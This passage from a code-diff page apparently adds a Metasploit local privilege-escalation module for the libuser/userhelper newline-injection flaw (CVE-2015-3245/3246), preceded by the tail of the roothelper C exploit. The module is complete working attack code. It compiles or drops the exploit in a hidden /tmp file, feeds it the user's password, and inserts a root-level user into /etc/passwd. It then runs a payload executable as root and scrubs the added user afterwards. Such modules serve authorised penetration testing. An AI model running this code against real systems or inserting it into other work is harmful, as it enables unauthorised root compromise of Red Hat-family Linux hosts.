after_fullname_len = rest - field;
|
||||
after_fullname = xstrndup(field, after_fullname_len);
|
||||
break;
|
||||
|
||||
case 5:
|
||||
if (*field != '/') die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
field = field_end + 1;
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, n-1, contents);
|
||||
|
||||
free(before_fullname), before_fullname = NULL;
|
||||
free(after_fullname), after_fullname = NULL;
|
||||
free(contents);
|
||||
|
||||
return (err < 0) ? -1 : n;
|
||||
}
|
||||
|
|
@ -0,0 +1,274 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Libuser roothelper Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on Red Hat based Linux
|
||||
systems, including RHEL, Fedora and CentOS, by exploiting a newline
|
||||
injection vulnerability in libuser and userhelper versions prior to
|
||||
0.56.13-8 and version 0.60 before 0.60-7.
|
||||
|
||||
This module makes use of the roothelper.c exploit from Qualys to
|
||||
insert a new user with UID=0 in /etc/passwd.
|
||||
|
||||
Note, the password for the current user is required by userhelper.
|
||||
|
||||
Note, on some systems, such as Fedora 11, the user entry for the
|
||||
current user in /etc/passwd will become corrupted and exploitation
|
||||
will fail.
|
||||
|
||||
This module has been tested successfully on libuser packaged versions
|
||||
0.56.13-4.el6 on CentOS 6.0 (x86_64);
|
||||
0.56.13-5.el6 on CentOS 6.5 (x86_64);
|
||||
0.60-5.el7 on CentOS 7.1-1503 (x86_64);
|
||||
0.56.16-1.fc13 on Fedora Desktop 13 (i686);
|
||||
0.59-1.fc19 on Fedora Desktop 19 (x86_64);
|
||||
0.60-6.fc21 on Fedora Desktop 21 (x86_64); and
|
||||
0.56.13-5.el6 on Red Hat 6.6 (x86_64).
|
||||
|
||||
RHEL 5 is vulnerable, however the installed version of glibc (2.5)
|
||||
is missing various functions required by roothelper.c.
|
||||
|
||||
RHEL 7 systems are reportedly affected, but untested.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Qualys', # Discovery and C exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Jul 24 2015',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'AKA', 'roothelper.c' ],
|
||||
[ 'EDB', '37706' ],
|
||||
[ 'CVE', '2015-3245' ],
|
||||
[ 'CVE', '2015-3246' ],
|
||||
[ 'BID', '76021' ],
|
||||
[ 'BID', '76022' ],
|
||||
[ 'URL', 'http://seclists.org/oss-sec/2015/q3/185' ],
|
||||
[ 'URL', 'https://access.redhat.com/articles/1537873' ]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('PASSWORD', [ false, 'Password for the current user', '' ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
compile = false
|
||||
|
||||
if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
if has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
compile = true
|
||||
else
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
compile
|
||||
end
|
||||
|
||||
def check
|
||||
userhelper_path = '/usr/sbin/userhelper'
|
||||
unless setuid? userhelper_path
|
||||
vprint_error "#{userhelper_path} is not setuid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{userhelper_path} is setuid"
|
||||
|
||||
unless command_exists? 'script'
|
||||
vprint_error "script is not installed. Exploitation will fail."
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'script is installed'
|
||||
|
||||
if cmd_exec('lsattr /etc/passwd').include? 'i'
|
||||
vprint_error 'File /etc/passwd is immutable'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'File /etc/passwd is not immutable'
|
||||
|
||||
glibc_banner = cmd_exec 'ldd --version'
|
||||
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
|
||||
if glibc_version.to_s.eql? ''
|
||||
vprint_error 'Could not determine the GNU C library version'
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
# roothelper.c requires functions only available since glibc 2.6+
|
||||
if glibc_version < Gem::Version.new('2.6')
|
||||
vprint_error "GNU C Library version #{glibc_version} is not supported"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "GNU C Library version #{glibc_version} is supported"
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check == CheckCode::Safe
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
executable_path = "#{base_dir}/#{executable_name}"
|
||||
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
|
||||
# Upload Qualys' roothelper.c exploit:
|
||||
# - https://www.exploit-db.com/exploits/37706/
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
|
||||
fd = ::File.open path, 'rb'
|
||||
c_code = fd.read fd.stat.size
|
||||
fd.close
|
||||
upload "#{executable_path}.c", c_code
|
||||
output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
|
||||
end
|
||||
|
||||
cmd_exec "chmod +x #{executable_path}"
|
||||
register_file_for_cleanup executable_path
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
|
||||
# Cross-compiled with:
|
||||
# - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
|
||||
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
|
||||
fd = ::File.open path, 'rb'
|
||||
executable_data = fd.read fd.stat.size
|
||||
fd.close
|
||||
upload_and_chmodx executable_path, executable_data
|
||||
end
|
||||
|
||||
# Run roothelper
|
||||
timeout = 180
|
||||
print_status "Launching roothelper exploit (Timeout: #{timeout})..."
|
||||
output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
|
||||
if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
|
||||
register_file_for_cleanup $1
|
||||
end
|
||||
|
||||
if output =~ /died in parent: .*.c:517: forkstop_userhelper/
|
||||
fail_with Failure::NoAccess, 'Incorrect password'
|
||||
end
|
||||
|
||||
@username = nil
|
||||
|
||||
if output =~ /Exploit successful, run "su ([a-z])" to become root/
|
||||
@username = $1
|
||||
end
|
||||
|
||||
if @username.blank?
|
||||
fail_with Failure::Unknown, 'Something went wrong'
|
||||
end
|
||||
|
||||
print_good "Success! User '#{@username}' added to /etc/passwd"
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
# Execute payload executable
|
||||
vprint_status 'Executing payload...'
|
||||
cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
|
||||
register_file_for_cleanup 'typescript'
|
||||
end
|
||||
|
||||
#
|
||||
# Remove new user from /etc/passwd
|
||||
#
|
||||
def on_new_session(session)
|
||||
new_user_removed = false
|
||||
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
|
||||
# Remove new user
|
||||
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""
|
||||
|
||||
# Wait for clean up
|
||||
Rex.sleep 5
|
||||
|
||||
# Check for new user in /etc/passwd
|
||||
passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
|
||||
unless passwd_contents =~ /^#{@username}:/
|
||||
new_user_removed = true
|
||||
end
|
||||
elsif session.type.to_s.eql? 'shell'
|
||||
# Remove new user
|
||||
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"
|
||||
|
||||
# Check for new user in /etc/passwd
|
||||
passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
|
||||
unless passwd_user =~ /^#{@username}:/
|
||||
new_user_removed = true
|
||||
end
|
||||
end
|
||||
|
||||
unless new_user_removed
|
||||
print_warning "Could not remove user '#{@username}' from /etc/passwd"
|
||||
end
|
||||
rescue => e
|
||||
print_error "Error during cleanup: #{e.message}"
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue